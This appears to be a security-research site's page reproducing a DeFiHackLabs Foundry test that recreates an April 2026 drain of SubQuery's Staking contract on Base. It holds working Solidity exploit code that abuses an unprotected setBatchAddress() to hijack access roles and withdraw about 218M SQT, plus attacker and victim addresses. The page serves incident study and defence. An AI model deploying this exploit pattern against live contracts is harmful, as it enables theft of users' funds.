Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/SubQuerySettings_exp.sol

Public reproduction file for dataset entry SubQuerySettings.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/SubQuerySettings_exp.sol167 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 218.07M SQT
8// Attacker : 0x910175f3fee798ADD5faBD3e9cbB63D0a785482C
9// Attack Contract : 0xF5D3C18416f364342d8AaD69AFC13e490d05a7af
10// Vulnerable Contract : 0xf282737992Da4217bf5f8B6AE621181e84d7d3b9
11// Victim : 0x7A68b10EB116a8b71A9b6f77B32B47EB591B6Ded
12// Attack Tx : https://basescan.org/tx/0xd063b3848a6b8c67f46990ab166665d454147855819acb60c083c0aea0180b2d
14// @Info
15// Vulnerable Contract Code : https://basescan.org/address/0xf282737992Da4217bf5f8B6AE621181e84d7d3b9#code
17// @Analysis
18// Telegram : https://t.me/defimon_alerts/2909
19//
20// The attacker used the unprotected Settings.setBatchAddress() function to make the attack helper the
21// StakingManager and RewardsDistributor. Staking then accepted the helper's unbondCommission() and
22// withdrawARequest() calls and transferred the Staking proxy's SQT balance to the helper, which forwarded it.
24address constant ATTACKER = 0x910175f3fee798ADD5faBD3e9cbB63D0a785482C;
25address constant SETTINGS_PROXY = 0x1d1e8C85A2C99575fCb95903C9aD9Ae2aDEA54fc;
26address constant STAKING_PROXY = 0x7A68b10EB116a8b71A9b6f77B32B47EB591B6Ded;
27address constant SQT = 0x858c50C3AF1913b0E849aFDB74617388a1a5340d;
29uint256 constant PER_MILL = 1e6;
31enum SQContracts {
32 SQToken,
33 Staking,
34 StakingManager,
35 IndexerRegistry,
36 ProjectRegistry,
37 EraManager,
38 PlanManager,
39 ServiceAgreementRegistry,
40 RewardsDistributor,
41 RewardsPool,
42 RewardsStaking,
43 RewardsHelper,
44 InflationController,
45 Vesting,
46 DisputeManager,
47 StateChannel,
48 ConsumerRegistry,
49 PriceOracle,
50 Treasury,
51 RewardsBooster,
52 StakingAllocation
55interface ISubQuerySettings {
56 function setBatchAddress(
57 SQContracts[] calldata sq,
58 address[] calldata newAddresses
59 ) external;
60 function getContractAddress(
61 SQContracts sq
62 ) external view returns (address);
65interface ISubQueryStaking {
66 function unbondCommission(
67 address runner,
68 uint256 amount
69 ) external;
70 function withdrawARequest(
71 address source,
72 uint256 index
73 ) external;
74 function unbondFeeRate() external view returns (uint256);
77contract ContractTest is BaseTestWithBalanceLog {
78 ISubQuerySettings private constant settings = ISubQuerySettings(SETTINGS_PROXY);
79 ISubQueryStaking private constant staking = ISubQueryStaking(STAKING_PROXY);
80 IERC20 private constant sqt = IERC20(SQT);
82 function setUp() public {
83 uint256 forkBlock = 44_590_468;
84 vm.createSelectFork("base", forkBlock);
85 fundingToken = SQT;
86 attacker = ATTACKER;
88 vm.label(ATTACKER, "Attacker EOA");
89 vm.label(SETTINGS_PROXY, "SubQuery Settings proxy");
90 vm.label(STAKING_PROXY, "SubQuery Staking proxy");
91 vm.label(SQT, "SQT");
92 }
94 function testExploit() public balanceLog {
95 address originalStakingManager = settings.getContractAddress(SQContracts.StakingManager);
96 address originalRewardsDistributor = settings.getContractAddress(SQContracts.RewardsDistributor);
97 uint256 stakingSqtBefore = sqt.balanceOf(STAKING_PROXY);
98 uint256 attackerSqtBefore = sqt.balanceOf(ATTACKER);
100 SubQuerySettingsExploit exploit = new SubQuerySettingsExploit(ATTACKER);
102 vm.prank(ATTACKER);
103 exploit.attack();
105 uint256 attackerProfit = sqt.balanceOf(ATTACKER) - attackerSqtBefore;
106 uint256 expectedFee = (stakingSqtBefore * staking.unbondFeeRate()) / PER_MILL;
108 assertEq(settings.getContractAddress(SQContracts.StakingManager), originalStakingManager, "manager restored");
109 assertEq(
110 settings.getContractAddress(SQContracts.RewardsDistributor),
111 originalRewardsDistributor,
112 "rewards distributor restored"
113 );
114 assertEq(sqt.balanceOf(STAKING_PROXY), 0, "staking SQT drained");
115 assertEq(attackerProfit, stakingSqtBefore - expectedFee, "profit equals drained balance less fee");
116 assertGt(attackerProfit, 218_000_000 ether, "SQT profit");
117 }
120contract SubQuerySettingsExploit {
121 ISubQuerySettings private constant settings = ISubQuerySettings(SETTINGS_PROXY);
122 ISubQueryStaking private constant staking = ISubQueryStaking(STAKING_PROXY);
123 IERC20 private constant sqt = IERC20(SQT);
125 address private immutable profitReceiver;
127 constructor(
128 address profitReceiver_
129 ) {
130 profitReceiver = profitReceiver_;
131 }
133 function attack() external {
134 require(msg.sender == profitReceiver, "only receiver");
136 uint256 drainAmount = sqt.balanceOf(STAKING_PROXY);
137 address originalStakingManager = settings.getContractAddress(SQContracts.StakingManager);
138 address originalRewardsDistributor = settings.getContractAddress(SQContracts.RewardsDistributor);
140 SQContracts[] memory ids = new SQContracts[](2);
141 ids[0] = SQContracts.StakingManager;
142 ids[1] = SQContracts.RewardsDistributor;
144 address[] memory attackerContracts = new address[](2);
145 attackerContracts[0] = address(this);
146 attackerContracts[1] = address(this);
148 // step 1: become both dependency contracts used by Staking access checks.
149 settings.setBatchAddress(ids, attackerContracts);
151 // step 2: as RewardsDistributor, create an unbond request for the full SQT balance held by Staking.
152 staking.unbondCommission(address(this), drainAmount);
154 // step 3: as StakingManager, withdraw that request immediately and receive the available SQT.
155 staking.withdrawARequest(address(this), 0);
157 address[] memory originalContracts = new address[](2);
158 originalContracts[0] = originalStakingManager;
159 originalContracts[1] = originalRewardsDistributor;
161 // step 4: restore Settings entries, matching the trace cleanup.
162 settings.setBatchAddress(ids, originalContracts);
164 // step 5: forward the drained SQT to the attacker EOA.
165 sqt.transfer(profitReceiver, sqt.balanceOf(address(this)));
166 }

Analysis

Dataset entry

Public Foundry test for “SubQuerySettings” (2026-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x910175f3fee798add5fabd3e9cbb63d0a785482c

  • Attack Contract

    0xf5d3c18416f364342d8aad69afc13e490d05a7af

  • Vulnerable Contract

    0xf282737992da4217bf5f8b6ae621181e84d7d3b9

  • Victim

    0x7a68b10eb116a8b71a9b6f77b32b47eb591b6ded

  • Attack Tx

    0xd063b3848a6b8c67f46990ab166665d454147855819acb60c083c0aea0180b2d

File record

Name
SubQuerySettings
Path
src/test/2026-04/SubQuerySettings_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9eda1565c4167b09e711175bd6cfc878581daa4c
Language
Solidity
Size
168 lines
Date
2026-04-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/SubQuerySettings_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9eda1565c4167b09e711175bd6cfc878581daa4c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.